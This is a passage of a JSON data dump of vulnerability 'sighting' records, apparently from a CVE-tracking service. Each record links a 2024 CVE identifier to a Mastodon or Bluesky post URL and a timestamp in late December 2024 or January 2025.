"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557923596213", "content": "", "creation_timestamp": "2025-01-13T06:10:26.564320Z"}, {"uuid": "34f151b8-16b6-46c7-8396-5fe13bedb9af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfostexdk22z", "content": "", "creation_timestamp": "2025-01-14T08:17:56.792794Z"}, {"uuid": "ddeb0e90-5a29-40bb-abfe-342fba818955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12324", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhnalar2m", "content": "", "creation_timestamp": "2025-01-07T05:17:08.119497Z"}, {"uuid": "abe6ad6d-8aae-46d8-8b43-55a810bf170b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgkl25527", "content": "", "creation_timestamp": "2025-01-09T11:15:38.678919Z"}, {"uuid": "e3cffc03-25fd-43b7-9371-67c7a30305c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113805841100757670", "content": "", "creation_timestamp": "2025-01-10T20:02:03.782033Z"}, {"uuid": "615ffa01-194d-465d-bb2a-46a020293973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113794654216478642", "content": "", "creation_timestamp": "2025-01-08T20:37:06.251407Z"}, {"uuid": "0e6c49f1-c898-42c4-9501-1c445847bf16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgqhamc2i", "content": "", "creation_timestamp": "2025-01-09T11:15:44.861961Z"}, {"uuid": "585d1cf9-4b1c-42cd-8eb9-0f9f04ccc11f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhipda725", "content": "", "creation_timestamp": "2025-01-09T11:16:10.287300Z"}, {"uuid": "4ceda319-e645-4041-a9a8-2513a8a7368e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcki22czx2l", "content": "", "creation_timestamp": "2025-01-09T11:16:28.542499Z"}, {"uuid": "f481cb11-ce39-4f80-bad6-e04ac0d7be97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfprosiad22e", "content": "", "creation_timestamp": "2025-01-14T17:30:09.071610Z"}, {"uuid": "2e532de5-dce6-41fe-8dd8-2b64a8705524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhogqyj2a", "content": "", "creation_timestamp": "2025-01-09T11:16:16.344122Z"}, {"uuid": "a385e75a-aec2-495b-ab0a-9124c6945e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lffz3jcawh2a", "content": "", "creation_timestamp": "2025-01-10T20:15:53.739343Z"}, {"uuid": "fb93d9a4-7beb-4c23-a7f3-ffd52adca1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3k4a6u52h", "content": "", "creation_timestamp": "2025-01-13T06:15:49.234640Z"}, {"uuid": "a37939c8-45c6-42aa-81d2-396f7b6b7de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cadey.pony.social.ap.brid.gy/post/3lfpxk57magv2", "content": "", "creation_timestamp": "2025-01-14T19:16:04.678236Z"}, {"uuid": "9704f4e1-3462-4c01-bee9-eaf8ac5a66e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596738632070", "content": "", "creation_timestamp": "2025-01-11T07:42:51.842549Z"}, {"uuid": "d5a9faf7-cc72-4858-8517-478d03a66c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3k6kaxm2n", "content": "", "creation_timestamp": "2025-01-13T06:15:51.867589Z"}, {"uuid": "9084cdbd-6278-42d1-bbaf-33cb2ec21aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596752364339", "content": "", "creation_timestamp": "2025-01-11T07:42:51.973685Z"}, {"uuid": "959d445c-a75d-43b7-aec4-293fdab8137e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3kasn5b2f", "content": "", "creation_timestamp": "2025-01-13T06:15:53.960403Z"}, {"uuid": "1fe39a1d-d753-44c3-a408-57dbd8bb484d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhubryw25", "content": "", "creation_timestamp": "2025-01-07T05:17:15.207725Z"}, {"uuid": "230c5fbe-174b-46bc-8229-32f9d4c32db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596766259967", "content": "", "creation_timestamp": "2025-01-11T07:42:52.501736Z"}, {"uuid": "b25a3236-dd22-4448-9af6-94eb9b3e7d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3kd2cdm2n", "content": "", "creation_timestamp": "2025-01-13T06:15:56.651606Z"}, {"uuid": "bd1530a3-9cc8-4431-881a-0cf4342881b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12122", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgnpl6j25", "content": "", "creation_timestamp": "2025-01-09T11:15:41.978131Z"}, {"uuid": "1b542572-4a48-4adb-870f-ea7b3828a217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh75z7c22", "content": "", "creation_timestamp": "2025-01-09T11:16:00.253989Z"}, {"uuid": "0763378a-0c50-40a2-8d85-c6ed95680e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhsyxwr2k", "content": "", "creation_timestamp": "2025-01-09T11:16:21.044357Z"}, {"uuid": "df2d3909-84e9-4b14-bf22-d5227946cf6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113800964354441302", "content": "", "creation_timestamp": "2025-01-09T23:21:51.848355Z"}, {"uuid": "b6972a7b-a76d-4a93-a09a-20c7667ed434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819616971345552", "content": "", "creation_timestamp": "2025-01-13T06:25:26.962944Z"}, {"uuid": "41fbff28-c262-4c5d-814f-31976e32c372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783258487585133", "content": "", "creation_timestamp": "2025-01-06T20:19:00.442421Z"}, {"uuid": "541c3e96-322a-41a6-aa17-b3a91354bd12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783259603194493", "content": "", "creation_timestamp": "2025-01-06T20:19:17.524304Z"}, {"uuid": "8b7c990f-9cf0-4625-96f6-1b2389adfafc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12049", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vfvl36k2c", "content": "", "creation_timestamp": "2025-01-07T05:16:09.347066Z"}, {"uuid": "9fb011ba-10a0-4f9f-95d8-2df47649bfb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12124", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vfxyhmo2i", "content": "", "creation_timestamp": "2025-01-07T05:16:12.722683Z"}, {"uuid": "ef2ffc4b-aceb-4208-81a7-3b70ee6e45b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgsujlh2e", "content": "", "creation_timestamp": "2025-01-09T11:15:47.383275Z"}, {"uuid": "da849088-a874-43a6-9ffb-b2a8970817b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhbws5u2m", "content": "", "creation_timestamp": "2025-01-09T11:16:03.202352Z"}, {"uuid": "17d450c4-ffe4-4433-a64c-6345e4f07754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lfnmyg7tlk2v", "content": "", "creation_timestamp": "2025-01-13T21:00:44.659163Z"}, {"uuid": "08631ffe-1e80-4276-b725-7789e219addf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12398", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfoup7rlvs2z", "content": "", "creation_timestamp": "2025-01-14T08:51:24.557486Z"}, {"uuid": "64a8a0bc-44f9-44d2-8a29-b2a31e147149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12126", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg2r2hk2k", "content": "", "creation_timestamp": "2025-01-07T05:16:15.075231Z"}, {"uuid": "82dacde3-d386-4414-a7ea-a2b07fb6f573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12159", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vggi26k2l", "content": "", "creation_timestamp": "2025-01-07T05:16:27.733544Z"}, {"uuid": "2898ce4c-9b01-475a-853a-2f5f52f5bc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113793610252558322", "content": "", "creation_timestamp": "2025-01-08T16:11:36.203775Z"}, {"uuid": "869f8cca-c9e1-416d-a4c7-c182c01100f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgvaysr2a", "content": "", "creation_timestamp": "2025-01-09T11:15:49.877355Z"}, {"uuid": "b1c0808e-581b-4c25-a430-05129e47de3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655768195033", "content": "", "creation_timestamp": "2025-01-11T07:57:52.373687Z"}, {"uuid": "680e63a0-cbce-4447-b12c-9b091831f7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qfvefj2k", "content": "", "creation_timestamp": "2025-01-13T06:37:14.725041Z"}, {"uuid": "e1eea715-2c16-4aae-85c0-34bbded4b605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfnnawweus2y", "content": "", "creation_timestamp": "2025-01-13T21:05:28.939198Z"}, {"uuid": "19ed10a2-1e97-4b34-8988-690d0a1d6f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfnnawweus2y", "content": "", "creation_timestamp": "2025-01-13T21:05:28.989373Z"}, {"uuid": "9168d3a9-b1d2-4c55-8686-ced6a064bb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12140", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg55d522c", "content": "", "creation_timestamp": "2025-01-07T05:16:17.363343Z"}, {"uuid": "5beb6a3d-200a-4105-8bb3-8b389ed296c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgynwkp2l", "content": "", "creation_timestamp": "2025-01-09T11:15:53.466197Z"}, {"uuid": "daa7b227-a92c-4ee1-b14d-fa8db7febb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655784413287", "content": "", "creation_timestamp": "2025-01-11T07:57:52.736985Z"}, {"uuid": "1d897e80-80ed-4864-8e06-43513526eb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qfzp2z2k", "content": "", "creation_timestamp": "2025-01-13T06:37:15.286603Z"}, {"uuid": "ad6799d0-ff3b-49fb-9607-975f2e4c1ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12153", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg7cw2m25", "content": "", "creation_timestamp": "2025-01-07T05:16:19.584537Z"}, {"uuid": "ba9128de-2d94-4507-b44a-c63537aba3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12285", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh2zhx72d", "content": "", "creation_timestamp": "2025-01-09T11:15:55.969853Z"}, {"uuid": "2a0f388d-66a9-4ec0-9ffc-b3aa124f143d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckheenmb2k", "content": "", "creation_timestamp": "2025-01-09T11:16:05.773585Z"}, {"uuid": "edd34112-203e-4e81-a0dd-3230a6f172c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhvdpp72l", "content": "", "creation_timestamp": "2025-01-09T11:16:24.211474Z"}, {"uuid": "412be86d-c876-460e-be17-18361733fc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655798870020", "content": "", "creation_timestamp": "2025-01-11T07:57:52.923211Z"}, {"uuid": "a16644aa-6350-47ae-a5fe-e1caddd78004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qg573i2q", "content": "", "creation_timestamp": "2025-01-13T06:37:15.820643Z"}, {"uuid": "ab92d453-9848-4acc-ae0a-1c1a83eb70be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319937158435", "content": "", "creation_timestamp": "2024-12-25T03:24:05.483933Z"}, {"uuid": "823dc6f2-2f52-455e-9b55-95933125a9da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319953815691", "content": "", "creation_timestamp": "2024-12-25T03:24:05.768362Z"}, {"uuid": "1d7381ca-012d-4702-add4-193d1600ed3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319987931764", "content": "", "creation_timestamp": "2024-12-25T03:24:06.269274Z"}, {"uuid": "7d1761e1-85e6-4a65-8f23-e3362b96ca88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711320002270284", "content": "", "creation_timestamp": "2024-12-25T03:24:06.588670Z"}, {"uuid": "6e4a3959-6558-4334-9115-3cd221d30228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xhu7nl2f", "content": "", "creation_timestamp": "2024-12-25T04:15:30.361239Z"}, {"uuid": "09a36111-33c9-444f-a152-442bef1fad73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xkgovn2c", "content": "", "creation_timestamp": "2024-12-25T04:15:33.110249Z"}, {"uuid": "b64b3c43-b0a4-46a7-b9bb-7786a20b27bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xmqldi22", "content": "", "creation_timestamp": "2024-12-25T04:15:35.560120Z"}, {"uuid": "4387fc6b-ebb4-4fd1-9e7f-b0dfc480fca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xouzwm2i", "content": "", "creation_timestamp": "2024-12-25T04:15:37.502884Z"}, {"uuid": "43127b96-ea1a-4222-bafb-942a0b7fada0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711589405077195", "content": "", "creation_timestamp": "2024-12-25T04:32:37.315873Z"}, {"uuid": "fc262456-ba91-431f-9227-d239ff63a5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711589420388300", "content": "", "creation_timestamp": "2024-12-25T04:32:37.866672Z"}, {"uuid": "2935df9e-141d-4e67-9103-8bccf4862960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12828", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3le46peaknc25", "content": "", "creation_timestamp": "2024-12-25T05:04:39.439727Z"}, {"uuid": "1f9a8ceb-1a3d-4070-985b-f8578bc90782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le47crnbzr2o", "content": "", "creation_timestamp": "2024-12-25T05:15:31.222164Z"}, {"uuid": "a7d92e25-0962-45ef-a143-f863c187bbf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le47cu3qev2c", "content": "", "creation_timestamp": "2024-12-25T05:15:33.747554Z"}, {"uuid": "f174bc08-d6ef-4660-aa07-4be5172306ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113712111301836978", "content": "", "creation_timestamp": "2024-12-25T06:45:20.838985Z"}, {"uuid": "1b0783fb-c344-47b9-8e49-0438f5df8e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le4fznovsq2c", "content": "", "creation_timestamp": "2024-12-25T07:15:41.057623Z"}, {"uuid": "b9ed4526-7b8d-4a0f-b98b-7c3d7e012f0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113715256568829494", "content": "", "creation_timestamp": "2024-12-25T20:05:13.717629Z"}, {"uuid": "3aef6e90-5677-4e91-9ffc-e374e09ed7ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le5rmggmuu22", "content": "", "creation_timestamp": "2024-12-25T20:15:42.020060Z"}, {"uuid": "bbd52c8e-44f6-448c-879a-620d8035719e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113715977860501002", "content": "", "creation_timestamp": "2024-12-25T23:08:39.739815Z"}, {"uuid": "1fcab569-2903-4587-a55f-4b460d71038f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le63o75yqp2o", "content": "", "creation_timestamp": "2024-12-25T23:15:38.853424Z"}, {"uuid": "3e8ceb48-9f99-4099-b328-1033a8670029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716073111519975", "content": "", "creation_timestamp": "2024-12-25T23:32:53.138796Z"}, {"uuid": "f346e306-665e-42ad-bae0-04ca04e636b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12929", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716200467474468", "content": "", "creation_timestamp": "2024-12-26T00:05:16.446709Z"}, {"uuid": "32f33a40-b491-4658-bac1-3eaa8e3430ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le66zcokes25", "content": "", "creation_timestamp": "2024-12-26T00:15:32.841094Z"}, {"uuid": "0a647bd1-b80c-4dc8-b603-769c4bfc7507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 